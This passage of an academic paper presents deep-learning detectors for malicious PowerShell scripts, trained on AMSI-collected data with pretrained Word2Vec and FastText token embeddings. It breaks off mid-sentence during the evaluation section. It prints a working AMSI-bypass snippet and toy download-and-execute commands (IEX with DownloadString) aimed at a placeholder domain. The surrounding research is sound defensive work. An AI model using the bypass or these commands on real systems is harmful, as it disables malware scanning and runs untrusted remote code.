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Abstract—PowerShell is a command line shell, supporting
a scripting language, that is widely used in organizations for
configuration management and task automation. Unfortunately,
PowerShell is also increasingly used by cybercriminals for launch-
ing cyber attacks against organizations, mainly because it is
pre-installed on Windows machines, exposes strong functionality
that may be leveraged by attackers, and its code can be deeply
obfuscated in many ways. This makes the problem of detecting
malicious PowerShell scripts both urgent and challenging.
To the best of our knowledge, our work is the first to address
this important problem. We do so by presenting several novel
deep learning based detectors of malicious PowerShell scripts.
Our best model obtains a true positive rate of nearly 90% while
maintaining a low false positive rate of less than 0.1%, indicating
that it can be of practical value.
Our models employ pre-trained contextual embeddings of
words from the PowerShell “language”. A contextual word
embedding is able to project semantically similar words to
proximate vectors in the embedding space. A known problem
in the cybersecurity domain is that labeled data is relatively
scarce in comparison with unlabeled data, making it difficult to
devise effective supervised detection of malicious activity of many
types. This is also the case with PowerShell scripts. Our work
shows that this problem can be largely mitigated by learning a
pre-trained contextual embedding based on unlabeled data.
We trained our models’ embedding layer using a scripts
dataset that was enriched by a large corpus of unlabeled Power-
Shell scripts collected from public repositories. As established
by our performance analysis, the use of unlabeled data for
the embedding significantly improved the performance of our
detectors. We estimate that the usage of pre-trained contextual
embeddings based on unlabeled data for improved classication
accuracy will find additional applications in the cybersecurity
domain.
I. INTRODUCTION
Cybercrime in its various forms poses a serious threat to
the modern digital society. In the ever-going race of cyber
arms, attackers frequently rely on tools already existing on
the victim’s system, a technique known as ”Living of the
Land”. These methods have become increasingly popular in
recent years [1]. Several reports by security companies observe
the popularity in cyber attacks of using PowerShell [2]–[4], a
scripting shell normally used in organizations for configuration
management and task automation. PowerShell can be used in
different stages of an attack, either by a human attacker or
by malicious software, to perform various malicious activities
such as reconnaissance, gaining persistence in the attacked
system, communicating with a command and control server or
fetching a payload. The volume and diversity of PowerShell
usage in malicious activities make it an important attack vector
to be addressed by defenders.
To facilitate better defence against script-based attacks on
Windows systems, Microsoft released the Antimalware Scan
Interface (AMSI1). This programming interface provides the
defending systems with the capability to inspect the code
executed by scripting engines (such as PowerShell, JavaScript
and VB Script). While it gives defenders important optics
into the scripts executed on the system, the AMSI interface
by itself does not provide a solution against PowerShell-
based malicious cyber activities. Moreover, the widespread and
diverse usage of PowerShell scripting by legitimate users, such
as network administrators and software developers, imposes
a requirement for a very low false positive (FP) rate by
defending systems. The importance and the challenging nature
of defending against PowerShell-based attacks create a strong
need for devising advanced machine learning (ML) techniques
that can be applied to this problem. Such techniques should
aim not only at extracting patterns of malicious code, but also
for capturing the semantics discerning malicious and benign
usage of PowerShell.
Recent scientific achievements in Deep Learning (DL) [5]–
[7] provide many opportunities for the development of novel
methods for efficient cyber defense. One of the major break-
throughs in DL is associated with the usage of contextual em-
beddings in various Natural Language Processing (NLP) tasks.
Several methods for embedding words into vectors have been
proposed in recent years [8]–[11]. Generally, these methods
leverage large datasets of text documents (such as Wikipedia
articles) to obtain representations of words as vectors in the
Euclidean space from contexts of their appearances in the
document corpus. These embedding methods have gained
popularity over traditional one-hot encoding in various NLP
tasks, because of their ability to project semantically similar
words to proximate vectors in the embedding space. Pretrained
embeddings can be used to initialize the first layer of a neural
network trained to perform a particular task (for example
classification of documents to topics), thereby reducing the
1https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-
scan-interface-portal
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volume of data required for training.
As a viable alternative to the word embedding approach,
several authors suggest to encode as a sequence of vectors
representing characters [12], [13]. Promising results for the
application of DL methods to the classification of PowerShell
command-lines (as opposed to general scripts) using such
a character-level approach were reported in [14]. We note,
however, that the problem of classifying general PowerShell
scripts is different and significantly harder, since scripts are
typically much longer than command-lines and their structure
is generally much more complex, often including user-defined
functions and references to external modules.
In this work, we propose a novel method for the classifica-
tion (to benign or malicious) of PowerShells scripts. We aim
to depart from traditional pattern recognition approaches and
to provide a classification method for PowerShell scripts that
is more resilient to evasion attempts by malicious attackers.
To this end, we experiment with two popular text embedding
approaches, Word2Vec (W2V) [8] and FastText ( [15], [16]),
trained on a dataset that contains a large corpus of unlabeled
PowerShell scripts.2
We use the following two datasets. The unlabeled dataset
is a corpus of 368K distinct unlabeled PowerShell scripts and
modules3 collected from GitHub4 and PowerShell Gallery5
public repositories. The second, smaller, dataset is the labeled
dataset consisting of 111,593 benign PowerShell scripts and
5,383 malicious PowerShell scripts, partitioned to a train set
and a test set (collected over different periods of time).
The high-level structure of our model generation process is
presented in Figure 1. Our method trains the detection model
using two stages. During the first stage, we use the unlabeled
dataset and the train set6 to obtain a contextual embedding
of PowerShell tokens. We provide examples demonstrating
interesting semantic relationships captured by this embedding.
During the second stage, we employ the embedding as a
first layer for token inputs in a deep neural network trained
(using the labeled scripts of the train set) to detect malicious
PowerShell scripts. Our best model employs an architecture
comprised from both character-level one-hot encoded input
and a token-level embedding layer (pretrained using FastText),
followed by several layers of CNN [17], [18] and LSTM-RNN
[19] neural network units.
We use the labeled dataset for supervised training and for
performing an extensive performance evaluation of different
DL and traditional (such as logistic regression [20]) ML clas-
sification methods. The evaluation results we present establish
that our new approach outperforms both traditional methods
(based on features such as character-level and word-level n-
grams and bag of words) and deep models that do not use
pretrained embeddings, but rather generate an embedding as
2We thank Lee Holmes for making this dataset available to us.
3We explain the difference between the notions of a module and a script
in Section II.
4https://github.com/
5https://www.powershellgallery.com/
6Labels are not used for learning contextual embeddings.
Fig. 1. High-level structure of our model generation process.
part of the training process for the classification task. More-
over, we obtain even better results by combining both a token-
level embedding layer and character-level one-hot encoding
into a single neural network. This architecture improves over
the results of traditional ML classifiers by 22 percentage points
(pp) and by 11pp over the results of deep learning models
that do not employ pre-trained embeddings, achieving recall
of 89.4% on the test set while maintaining a low FP rate of
0.1%.
Contribution
To the best of our knowledge, our work is the first to address
the important problem of detecting malicious PowerShell
scripts. We present a novel DL-based detector of malicious
PowerShell scripts that leverages a pre-trained contextual
embedding. We conduct extensive evaluation comparing the
performance of our detector with those of several alternative
detection models. Our evaluation results establish that our
detector significantly outperforms DL-based detectors that do
not use a pre-trained embedding as well as traditional-ML-
based detectors and is able to detect nearly 90% of malicious
PowerShell scripts while maintaining an FP rate of only 0.1%
on a test set collected over a different period of time than the
train set.
A second, more general, key contribution made by this
work is to demonstrate the power of contextual embedding
methods in the cybersecurity domain. To the best of our
knowledge, our work presents the first detector of malicious
scripts that leverages a contextual embedding learnt using
unlabeled data for increasing detection accuracy. The fact that
embeddings based on unlabeled data can be used for enhancing
the detection performance of supervised classification tasks
is important, since unlabeled data are frequently available
in abundance to the cyber defenders, whereas labeled data
is typically more scarce and difficult to obtain. Since our
approach is generic, it can be adapted for the classification
of scripts in other languages as well as to other types of
textual data that arise in cyberspace. We therefore expect
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that the usage of pre-trained contextual embeddings based on
unlabeled data for improved supervised classification accuracy
will find additional applications in the cybersecurity domain.
Our third contribution is that we show that models that
combine character-level and token-level representations of
scripts are able to provide performance that is superior to that
of models that employ only a single type of representation.
The rest of this paper is organized as follows. In Section
II, we provide required background on PowerShell, the AMSI
programming interface, deep learning and contextual embed-
dings. Section III describes the datasets we use and the manner
in which they are pre-processed. This is followed by a dis-
cussion of the contextual embedding of PowerShell tokens in
Section IV. We describe the detection models we implemented
in Section V and report on the results of our experimental
evaluation in Section VI. Related work is surveyed in Section
VII. Section VIII concludes with a short discussion of our
results and avenues for future work.
II. BACKGROUND
A. PowerShell
First released in 2006, PowerShell is a command line shell,
widely used in organizations for configuration management
and task automation. It has a powerful scripting language
with various capabilities, accessible through cmdlets. These
cmdlets are functional units, exposing system administration
capabilities such as registry or file system access and general
purpose utilities like a web client or text encoding utilities.
For example, the Get-ItemProperty cmdlet reads values
from the Windows registry. A PowerShell script is a sequence
of PowerShell cmdlets that can be executed directly from the
command line, or stored as a .ps1 file. Functional units of
PowerShell may be combined into a single PowerShell module
(.psm1 file), making the code easier to manage, reference,
load or share.
PowerShell as an attack vector: Given the ease of access
to system resources using PowerShell, the fact that it is pre-
installed on Windows machines, the huge number of cmdlets
available and the many ways in which PowerShell code
can be obfuscated [14], PowerShell is a tool of choice for
malware authors to achieve their goals. From reconnaissance
via port scanning, through privilege escalation using shell-code
injection [2] and gaining persistence using registry editing7
to payload dropping using a web client [4], PowerShell can
serve as a fileless attack vector, enabling the attacker to leave
minimal traces on a compromised machine.
Indeed, several recently-published reports discuss the grow-
ing popularity of PowerShell’s usage as an attack vector and
analyze the various techniques by which this is done [2]–[4],
[21]. A recent report by IBM ( [21]) observes that over 57% of
the attacks they analyzed were fileless, and many of these used
PowerShell as an attack vector. This highlights the importance
of detecting malicious PowerShell code.
7http://az4n6.blogspot.com/2018/06/malicious-powershell-in-registry.html
B. Anti-Malware Scan Interface (AMSI)
In 2015, Microsoft announced a new capability built into
Windows 10, called the Anti-Malware Scan Interface (AMSI)8,
enabling applications to request an anti-malware scan by the
anti-malware installed on the machine. By default, PowerShell
code is sent via AMSI for anti-malware scanning prior to its
execution. The labeled dataset we use in this work (described
in more detail in section III) consists of real-world PowerShell
scripts collected using AMSI, which we briefly describe now.
As surveyed in the past (see [2]–[4]), PowerShell code can
be obfuscated using numerous techniques, which is often done
by malicious code for evading detection. More specifically,
PowerShell code may be deeply obfuscated by iteratively ap-
plying obfuscation mechanisms multiple times, thus wrapping
the original code in several obfuscation layers. Scripts are
submitted to the anti-malware product by AMSI just before
the de-obfuscated code is presented to the host for execution.
This means that AMSI’s output often provides much more
visibility into the PowerShell code about to be executed than
is available from direct analysis of the possibly-obfuscated
content of PowerShell scripts.
Specifically, any value supplied to the
Invoke-Expression cmdlet will be fully uncloaked
by AMSI. For example, when executing the PowerShell
command Invoke-Expression $env:var, the value
of the environment variable $env:var is sent by AMSI to
be evaluated before execution and is thus output by it.
Nevertheless, there are also cases in which AMSI’s output
is not fully de-obfuscated and is dynamicaly resolved to plain
code only during execution. This may occur, e.g., when the
PowerShell code uses an expression that applies a string
manipulation technique (such as string concatenation) as a
method parameter or when a method name is composed of
characters with alternating casing.
Several techniques for evading AMSI are known and
samples of such evasion attempts were observed in our
dataset. For instance, the following code sets the value of the
AmsiInitFailed property to true9:
[Ref].Assembly
.GetType(’System.Management.Automation.AmsiUtils’)
.GetField(’amsiInitFailed’,’NonPublic,Static’)
.SetValue($null,$true);
The above PowerShell code snippet is an example of an
evasion technique that uses .NET’s reflection mechanism to
set the value of the private static property AmsiInitFailed
in the AmsiUtils class to true, thus preventing the
ScanContent method (not shown in the above code) from
sending any content to the anti-malware engine for scanning.
Attempts to disable AMSI can be considered as malicious ac-
tivity, which can be detected by pin-point detectors dedicated
to this task , as done by several popular anti-malware vendors
10 We consider the development of such detectors as beyond
8https://docs.microsoft.com/en-us/windows/desktop/amsi/
antimalware-scan-interface-portal
9https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
10 Microsoft Defender ATP , VirusTotal scan of AMSI bypass script
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the scope of this work.
By collecting real-world PowerShell scripts using AMSI
rather than directly from a command-line shell, we leverage
AMSI’s enhanced logging and de-obfuscation capabilities,
allowing better visibility into the executed code of PowerShell
scripts.
C. Deep Learning
In this section, we provide background on deep learning
concepts and architectures that is required for understanding
the deep learning based malicious PowerShell scripts detectors
that we present in subsection V-A.
Artificial Neural Networks (ANNs) [22]–[24] are a family of
machine learning models, composed of a collection of layers.
A typical ANN is composed of one or more input layers, a
single output layer, and one or more hidden layers. A Deep
Neural Network (DNN) has multiple hidden layers. There are
several key DNN architectures. In what follows, we briefly
describe the architectures used by our detectors.
1) Convolutional Neural Networks (CNNs): A CNN is a
learning architecture, traditionally used in computer vision
[17], [18]. As its name implies, the main component of a CNN
is a convolutional layer. For instance, given a 2D grey scale
image, a convolutional layer uses 2D “filters” (or “kernels”)
of size j× l , for some integers j and l. As the filter is sliding
over the 2D input matrix, the dot product between its j × l
weights and the corresponding j × l window in the input is
being computed. Intuitively, the filter slides over the input in
order to search for the occurrences of some feature or pattern.
The weights used in the filters are being learnt during the
training process.
Two additional layer types often used by CNNs (as well
as by the RNN architecture we describe below) are the
max pooling and dropout layers. A max pooling layer [25]
“down-samples” neurons in order to generalize and reduce
dimensionality and overfitting [26]. It applies a k × m (for
some integers k and m) window across the input, and outputs
the maximum value within the window, thus reducing the
number of parameters. A global max pooling layer is a special
case of max pooling, where the size of the pooling window
equals the size of the input feature map. Intuitively, when
using a global max pooling layer on top of a convolutional
layer, each filter is mapped to a single neuron, indicating if
the feature detected by this filter appears anywhere in the input.
Dropout layers [27] can be used in between layers, to reduce
overfitting by randomly ”dropping” some of the inputs. Each
node in the layer’s input is being output by the dropout layer
with probability 1 − p or is “dropped out” (thus becoming
disconnected from the next layer) with probability p.
2) Recurrent Neural Networks (RNNs): RNNs are neural
networks able to process sequences of input representing data
series such as text [28], [29], speech [30]–[32], handwriting
[33] or video [34] in a recurrent manner, that is, by repeatedly
using the input seen so far in order to process new input. We
use an RNN network composed of long short-term memory
(LSTM) blocks [19]. Each such block consists of a cell that
stores a hidden state, able to aggregate/summarize inputs
received over an extended period of time. In addition to the
cell, there are three other parameters (referred to as gates)
in an LSTM block. They control and regulate information
flow into and out of the cell. Roughly speaking, the input
gate determines the extent to which new input is used by
the cell, the forget gate determines the extent to which the
cell retains memory, and the output gate controls the level
to which the cell’s value is used to compute the block’s
output. A bidirectional RNN (BDRNN) network [35] is an
RNN architecture in which two RNN layers are connected
to the output, one reading the input in order and the other
reading it in reverse order. Intuitively, this allows the output
to be computed based on information from both past and future
states. For instance, in the context of the sentiment analysis
problem, when processing text from the middle of a sentence,
text seen in the beginning of the sentence, as well as text seen
at the end the sentence, may be used by the computation.
D. Contextual Embeddings
In the context of text analysis, a common practice is to
add an embedding layer before the CNN or the RNN layer
[36]–[38]. Embedding layers serve two purposes. First, they
reduce the dimensionality of the input. Second, as done by
our detectors, they can be used to represent the input in a
manner that retains its context. The embedding layer converts
the input (typically at the token level, but sometimes also at
the character level, depending on the problem at hand) to a
sequence of vectors. Embedding techniques are designed to
embed tokens in an n-dimensional space (for an appropriately-
selected n) by representing them as n-dimensional vectors.
Our detectors employ the widely-used Word2Vec (W2V)
[8] and FastText [15], [16] contextual embedding algorithms,
which use an ML model for learning the vector representation
of tokens. In both algorithms, the underlying architecture
of the model contains an input layer, a hidden layer of
(appropriately selected) size n, and an output layer. Depending
on the training method (”CBOW” or ”skip-gram” [39]), we
either try to predict a token based on its context (i.e. the tokens
surrounding it), as done in CBOW, or to predict the context
based on a given token, as done in skip-gram.
Following the learning phase, a sequence of values is stored
in the hidden layer per every token in the corpus. These values
serve as the vector representation of the token. The key dif-
ference between the two algorithms is the following. Whereas
Word2Vec only embeds the tokens as atomic units, FastText
also embeds character n-grams (sub-tokens) extracted from
these tokens. Specifically, each token is represented by the
sum of the vector representations of the token itself and its n-
grams (our implementations use n-grams for n ∈ {3, . . . , 6}).
This representation implies that FastText is able to leverage the
sub-tokens comprising each token. Specifically, this allows it
to embed tokens that were not seen during the training stage
(but may be input to the model once it is deployed), as they
or their sub-tokens appeared as sub-tokens in the corpus used
to train the embedding.
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III. DATASETS AND PRE-PROCESSING
We use two datasets: An unlabeled dataset and a labeled
dataset. The unlabeled dataset consists of approx. 368K un-
labeled PowerShell scripts and modules (*.ps1 and *.psm1
files) collected from public repositories including GitHub11
and PowerShellGallery12.
The labeled dataset was collected and labeled inside our
organization. In order to accomplish this, we used the capabil-
ities provided by the AntiMalware Scan Interface (AMSI) (see
Section II). Using AMSI, we were able to collect PowerShell
scripts and modules, as their content is sent to security analysis
prior to their execution.
Our labeled dataset is composed of 116,976 scripts13. It
contains 5,383 distinct malicious scripts, obtained by executing
known malicious programs inside a sandbox and recording
all their PowerShell activity via AMSI. It also contains a
collection of 111,593 distinct benign (or clean) PowerShell
scripts (also recorded via AMSI). Unlike malicious scripts,
benign scripts were executed on regular machines within our
organization rather than inside a sandbox. Only scripts that
were executed exclusively on machines with no indication of
malicious activity 30 days prior to data collection were labeled
as benign.
The following subtle point regarding the dataset labeling
process should be emphasized. When AMSI is used for
monitoring the execution of a program, the PowerShell code
it executes is reported in its entirety. Consequently, when a
malicious script uses benign modules (which is often the case),
the benign module’s code is reported by AMSI as well. In
order not to label such benign modules as malicious, we label
a script/module as malicious only if it was seen exclusively in
malicious contexts, that is, only if it was never observed on
clean machines.
A. Data Preprocessing
We have carefully pre-processed the scripts we collected
in order to normalize the PowerShell code observed, by
regularizing digits and random values, for improving detection
and evaluation results. Digits were replaced with asterisk signs
(‘*’) in order to better deal with random values, IP addresses,
random domain names (which in many cases contain digits),
dates, version numbers, etc. Labeled code was preprocessed
also for eliminating identical (or nearly-identical) scripts (a
process that we call data de-duplication) in order to reduce
the probability of data leakage [40], as we explain next.
B. Deduplicating Data
As we use cross-validation to evaluate the performance of
our detection models on labeled data, we took extra care to
reduce the probability of data leakage. In our setting, a data
leakage problem may result from using identical (or nearly-
identical) scripts for training the model and for validating it.
11https://github.com/
12https://www.powershellgallery.com/
13For presentation simplicity, we refer to all PowerShell code recorded by
AMSI as scripts, regardless of whether these are scripts or modules.
Indeed, we observed in our dataset PowerShell scripts that
differ by only a small number of characters. In most of these
cases, the difference stemmed from the usage of random file
names, different IP addresses, or different numbers/types of
white space characters (for example spaces, tabs and new-
lines).
The existence of identical or nearly-identical scripts in
a PowerShell scripts-corpus collected inside a real-world
organization is almost certain. Many of the benign scripts
observed on machines inside the organization run as part of
corporate maintenance procedures and are therefore likely to
be observed on many machines and/or on the same machine
in different times. As for malicious scripts, since we executed
(inside a sandbox) numerous malicious executables in order
to collect the PowerShell code they invoke, some subsets
of these programs may have belonged to the same malware
family, and thus invoked similar or even identical PowerShell
code. Moreover, almost-identical scripts can also be used by
programs from different malware families that launch similar
types of cyber attacks.
To prevent data leakage, we perform a de-duplication pro-
cess for eliminating identical or nearly-identical scripts from
our dataset. A toy example of this process, explained next, is
depicted in Figure 2, assuming it is applied to the following
three (artificial) single-command scripts:
1) IEX(New-Object Net.WebClient).Downloa
dString(’https://<domain>/a**bc*.txt’
));
2) IEX(New-Object Net.WebClient).Downloa
dString(’https://<domain>/d*e*f.txt’)
);
3) Invoke-WebRequest -Uri
’https://<domain>/gh**i*.exe’
-OutFile ’C:\gh**i*.exe’
The de-duplication process consists of the following 4
stages:
1) Script tokenization
Scripts are demarcated to tokens. Any symbol which is
not in the set {’a’-’z’, ’A’-’Z’, ’*’, ’$’, ’-’} is used as a
delimiter. We remind the reader that digits are replaced
by asterisk signs (’*’) during the regularization process,
hence they are not used as delimiters.
We do not use the dollar sign (’$’) as a delimiter because
it is used in PowerShell to refer to a variable. Thus,
for example, we consider true and $true as two
different tokens. As for the dash sign(’-’), it appears
inside PowerShell tokens such as Write-Host and
Invoke-Command and is therefore not used as a
delimiter as well. We only use tokens of length at least
2, since a single character by itself has no meaning in
PowerShell. The tokenization process yielded four mil-
lion distinct tokens. Since PowerShell is case-insensitive,
all tokens were normalized to the lower case.
2) Rare tokens elimination
Since our goal is to deduplicate similar scripts based
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on the tokens contained in them, we remove random-
string tokens by keeping only tokens that appear in
more than 100 scripts. To motivate the selection of 100
as the token frequency threshold, Figure 3 presents a
histogram (in a log-log scale) of the number of tokens
that appear in exactly x distinct scripts, for each value
x. Note the change in trend around x = 9 (512 scripts),
indicating that many tokens appear in less than about
500 scripts, and substantially less tokens appear in over
500 scripts. To ensure that we do not remove too many
tokens, we used 100 as a threshold for a token to be
considered significant. This resulted in a collection of
14,216 significant tokens. We note that rare tokens are
removed only for the sake of de-duplication. In general,
such tokens are still used for training the embedding
Fig. 2. An example of the scripts de-duplication process.
Fig. 3. Number of tokens appearing in x scripts, on a log-log scale. The
vertical line is at x = log2(100).
TABLE I
DE-DUPLICATED SCRIPTS STATISTICS
Original Distinct % Deduped
Clean scripts 188,797 111,593 41%
Malicious scripts 9,680 5,383 44%
Total scripts 198,477 116,976 41%
layer.
3) Scripts clustering
By identifying each script according to the set of the
significant tokens that appear in it, we effectively cluster
together all scripts that differ only in the rare tokens they
contain.
4) Cluster representatives selection
We arbitrarily select from each of the resulting script
clusters a single representative script. This process
yielded 116,976 distinct scripts.
We note that the dimensions of the dataset specified earlier
are the numbers of distinct scripts after the de-duplication
process.
As shown by Table I, the de-duplication process reduced
the number of labeled instances from 198,477 to 116,976 , a
41% reduction.
IV. CONTEXTUAL EMBEDDING OF POWERSHELL TOKENS
We remind the reader that our training approach, illustrated
by Figure 1, consists of an embedding stage followed by a
supervised training stage. We learn the contextual embedding
using both the unlabeled dataset (consisting of 368K dis-
tinct PowerShell scripts and modules collected from public
repositories) and the train set (consisting of 106,840 labeled
Powershell scripts).14
In this section, we briefly describe the techniques we
used to embed tokens from the PowerShell corpus in an n-
dimensional vector space and share some interesting findings
derived from these embeddings, showcasing their potential
contribution for detection. We experimented with two DL-
based text embedding techniques – W2V and FastText (see
Section II-D). In both cases, the input for the embedding is
the same: we tokenized the scripts as described above.
14The test set is not used for learning the embedding.
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Fig. 4. t-SNE 2D visualization of 5,000 tokens using W2V.
The scripts we use to generate the embedding contain
approximately four million distinct tokens, most of which
appear in only a few scripts. Using all these tokens would
generate a huge embedding layer, making the processing
time of both learning the embedding and training the model
impractically large. Consequently, only tokens that appeared
in at least ten scripts were used for embedding. This resulted
in 81,111 distinct tokens.
We chose to use the CBOW rather than the Skip-Gram ar-
chitecture [39], since the former is faster to train and generally
works better on large training sets with many frequent words.
A. Tokens embedding in action
W2V embedding is known for capturing semantic similar-
ities between different words, which are frequently preserved
in linear combinations of embedded vectors [8]. In this sub-
section, we share a few interesting examples to illustrate the
potential of the representations of tokens used in PowerShell
scripts. These examples demonstrate how different tokens
representing similar semantics in PowerShell code are embed-
ded as neighboring vectors. Using t-SNE [41] for reducing
dimensionality, in Figure 4 we present a 2-dimensional visu-
alization of the vector representation (using W2V) of 5,000
randomly selected tokens and some interesting tokens which
we highlighted. Note how semantically similar tokens are
placed near each other. For example, the vectors representing
-eq, -ne and -gt, which in PowerShell are aliases for “equal”,
“not-equal” and “greater-than”, respectively, are clustered to-
gether. Similarly, the vectors representing the allSigned,
remoteSigned, bypass and unrestricted tokens, all
of which are valid values for the execution policy setting in
PowerShell, are clustered together as well.
Fig. 5. t-SNE 3D visualization of selected tokens.
Examining the vector representations of the tokens, we
found a few additional interesting relationships between the
tokens, which we describe next.
Tokens similarity: Using the W2V vector representation of
tokens we can use the Euclidean distance to measure similarity
in the embedding space. Many cmdlets in PowerShell have an
alias. We found that using the W2V embedding, in many cases,
the token closest to a given cmdlet is its alias. For example, the
representations of the token Invoke-Expression and its
alias IEX are closest to each other. Two additional examples
of this phenomenon are the Invoke-WebRequest and its
alias IWR, and the Get-ChildItem command and its alias
GCI.
We also measured distances within sets of several tokens.
Consider, for example, the four tokens $i,$j,$k and
$true (see the right side of Figure 5). The first three are
usually used to represent a numeric variable and the last nat-
urally represent a boolean constant. As expected, the $true
token mismatched the others – it was the farthest (using the
Euclidean distance) from the center of mass of the group.
More specific to the semantics of PowerShell and cy-
bersecurity, we checked the representations of the to-
kens: bypass,normal,minimized,maximized and
hidden (see the left side of Figure 5). While the first token is
a legal value for the ExecutionPolicy flag in PowerShell,
the rest are legal values for the WindowStyle flag. As
expected, the vector representation of bypass was the farthest
from the center of mass of the vectors representing all other
four tokens.
Linear Relationships: As W2V preserves linear
relationships, computing linear combinations of the W2V
vector representation results in semantically-meaningful
results. Below are a few interesting relationships we found:
high-$false+$true ' low
‘-eq’-$false+$true '‘-neq’
DownloadFile-$destfile+$str 'DownloadString
‘Export-CSV’-$csv+$html '‘ConvertTo-html’
‘Get-Process’-$processes+$services ' ‘Get-Service’
In each of the above expressions, the ' sign signifies that
the vector on the right side is the closest (among all the vectors
representing tokens in the vocabulary) to the vector that is the
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Fig. 6. A diagram of the ”Token-Char” model architecture. The result of
applying global max pooling on the character-level input is marked in blue,
to emphasise the fact that it has been duplicated in order for it to be processed
by the LSTM layer along with the token-level input.
result of the computation on the left side, in terms of Euclidean
distance.
V. CLASSIFICATION MODELS
In this section, we describe the detection models we imple-
mented and evaluated. We report on our evaluation results in
Section VI.
We implemented and evaluated 10 deep learning detection
models, which differ in their architectures and in terms of
whether their input is processed as a sequence of tokens,
a sequence of characters, or both. In order to assess the
extent to which the DL models are able to compete with
traditional detection approaches, we also implemented two
detectors that are based on widely-used traditional methods
for feature extraction. We proceed with the details.
A. Deep-Learning Based Detectors
We employ two deep-learning based architectures – a
Convolutional-Neural-Network (CNN) and a combination of
CNN and a Recurrent-Neural-Network (CNN-RNN).
Fig. 7. Histogram of number of tokens per script (by label), y-axis uses
logarithmic scale.
1) Token-Level Architectures: We refer to DL architectures
that consider their input as a sequence of tokens as token-level
architectures. We implemented two token-level architectures:
One based on the CNN-RNN architecture of [42] and another
based on the CNN architecture presented by [43], [44].
In both these architectures, on top of the embedding layer,
we used a convolutional layer with 128 filters and a kernel
of size 3. In the CNN architecture, we then performed global
max pooling, followed by a dropout layer (see Section II-C).
In the CNN-RNN architecture, on top of the convolutional
layer, we used a max pooling layer of size 3, to preserve
the sequential nature of PowerShell scripts, followed by a
bidirectional LSTM layer with 32 units, a dropout of 0.5
and a recurrent dropout of 0.02. Finally, in both architectures
we used a single-node dense layer with a Sigmoid activation
function for classification. For full details, we provide our
Keras [45] code for model definitions in the Appendix.
As previously mentioned, the first layer of both our DL
architectures is an embedding layer. We experimented with
the following three options for setting the initial weights in
the embedding layer, for a total of 6 different token-based DL
detection models:
• Weights sampled from a uniform distribution: The two
resulting models are henceforth referred to as ”CNN” and
”CNN-RNN”. We sometimes refer to this option as inline
embedding.
• Weights pretrained using W2V: The two resulting models
are henceforth referred to as ”CNN-W2V” and ”CNN-
RNN-W2V”.
• Weights pretrained using FastText: The two resulting
models are henceforth referred to as ”CNN-FastText” and
”CNN-RNN-FastText”.
In both training and prediction, we used the first 2,000
tokens from each PowerShell script, as only 3 clean scripts
(and no malicious script) in our labeled dataset contain more
than 2,000 tokens. Figure 7 presents the histogram of script
lengths (in terms of tokens), separately per label, on a log
scale. The distributions of clean and malicious scripts are
similar, and both reach almost the same maximum length.
2) Character-Level Architecture: Another model we exper-
imented with is the one described in [14], henceforth referred
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to as ”Char-CNN”, where character-level one-hot encoding
is used. It employs a 4-layer CNN architecture, containing
a single convolutional layer with 128 kernels of size 62x3
and stride 1, followed by a max pooling layer of size 3 with
no overlap. This is followed by two fully-connected layers,
both of size 1,024 each followed by a dropout layer with
probability of 0.5, and an output layer.
3) Token-Character Level Architecture: The 7 models we
described so far use either a character-level or a token-level
representation, but not both. In order to combine both a token-
level and a character-level representation, we implemented and
evaluated an architecture similar to the CNN-RNN one, that
uses both a one-hot encoding representation of characters and
a token-level embedding layer. We henceforth refer to this
architecture as ”Token-Char”15. Here, too, we experimented
with the three token embedding options (inline, W2V and
FastText), resulting in 3 additional DL detection models.
The use of two input representations requires applying
additional adaptations to the architecture, as otherwise it would
result in a model that has too many trainable parameters,
thus increasing the risk of overfitting. In order to address this
issue, we reduced the number of input script-tokens and script-
characters to 1,000 and also reduced the number of filters used
in the convolutional layer from 128 to 64. We also reduced
the number of tokens participating in the embedding process
by using only tokens that appear in at least 20 scripts (instead
of 10); this reduced the number of tokens to 47,555 tokens.
Figure 6 depicts the ”Token-Char” architecture. As can
be seen, it receives both a token-level and a character-level
representation of the input script. After the tokens are em-
bedded and the characters are encoded, each is being input
to a separate convolution layer with 64 filters. Next, for the
token-level path, we performed max pooling with a kernel of
size 3 (as was done in the CNN-RNN architecture). As for
the character-level path, we used global max pooling, which
resulted in a single tensor of size 64 (the number of filters used
in the previous convolutional layer). We added a dropout layer
with probability 0.5 for regularization (not shown in Figure 6).
We now explain how we combined the paths of the token-
level and the character-level inputs. Since we use global
max pooling for the character convolutional layer, we had to
duplicate the resulting tensor before we concatenate it to the
output of the token-level layer. This allows us to apply the bi-
directional LSTM on an input that is based on both the token-
level embedding and the character-level encoding. In each of
the 332 LSTM input entries, the top 64 represent token-level
features and the bottom 64 represents character-level features.
Note that, as we did not apply global max pooling to the token-
level path, the token-level sequential nature of the scripts is
maintained. We use a biderctional LSTM layer with output
size of 32 and, finally, an output layer consisting of a single
node. Full technical details are provided in the appendix.
15We would like to thank Eran Galili from Microsoft for his help with the
architecture design and technical assistance.
B. Traditional NLP-based detectors
We used two types of NLP feature extraction meth-
ods: character-level n-grams and token-level n-grams. For
character-level features, we used character n-grams for n ∈
{2, 3, 4}. For token-level features, we used token n-grams, for
n ∈ {1, 2, 3}. We only used tokens appearing in at least 10
scripts. For both methods, we evaluated both term-frequency
(tf) and term-frequency-inverse-document-frequency (tf-idf) as
a weighting factor and then applied a logistic regression
classifier on the extracted features (more details are provided
in the appendix). For each type of features (token-based or
character-based), we report on the evaluation results of the
best-performing model (optimal value of n), using tf-idf, as it
gave the best results in terms of true positive rate (TPR, a.k.a.
recall) when using a threshold keeping the false positive rate
(FPR) lower than 10−3.
VI. EXPERIMENTAL EVALUATION
In this section, we describe how we evaluated our detec-
tors. We then present and discuss evaluation results. This is
followed by an analysis of the contribution of contextual em-
bedding and a discussion of the added value of the character-
level representation.
We have split our labeled dataset according to scripts’
collection times to a test set, consisting of 10,136 scripts
(1,329 of which are malicious and 8,807 of which are clean),
and a train set, consisting of 106,840 scripts (4,054 malicious
and 102,786 clean), on which our models were trained and
evaluated using cross-validation. In terms of time-period, the
train set includes scripts seen during May-July 2018, while
the test set includes scripts seen during August-October 2018.
We performed a 3-fold cross-validation on the train set to
select values for hyper-parameters such as the size of the
kernel of the convolutional layer, the number of filters to
use, the size of the LSTM layer, etc. Cross-validation was
used also for selecting the number of training epochs to be
used, as follows: For each fold, we selected the model that
is generated in the epoch in which we obtained the highest
TPR on the validation set (with an FPR lower than 10−3).
As for performance evaluation on the test set – since the
above procedure generates 3 models for each detector (one per
fold), we apply all three to the test set and use their average
score. We used this technique, discussed in [46], in order to
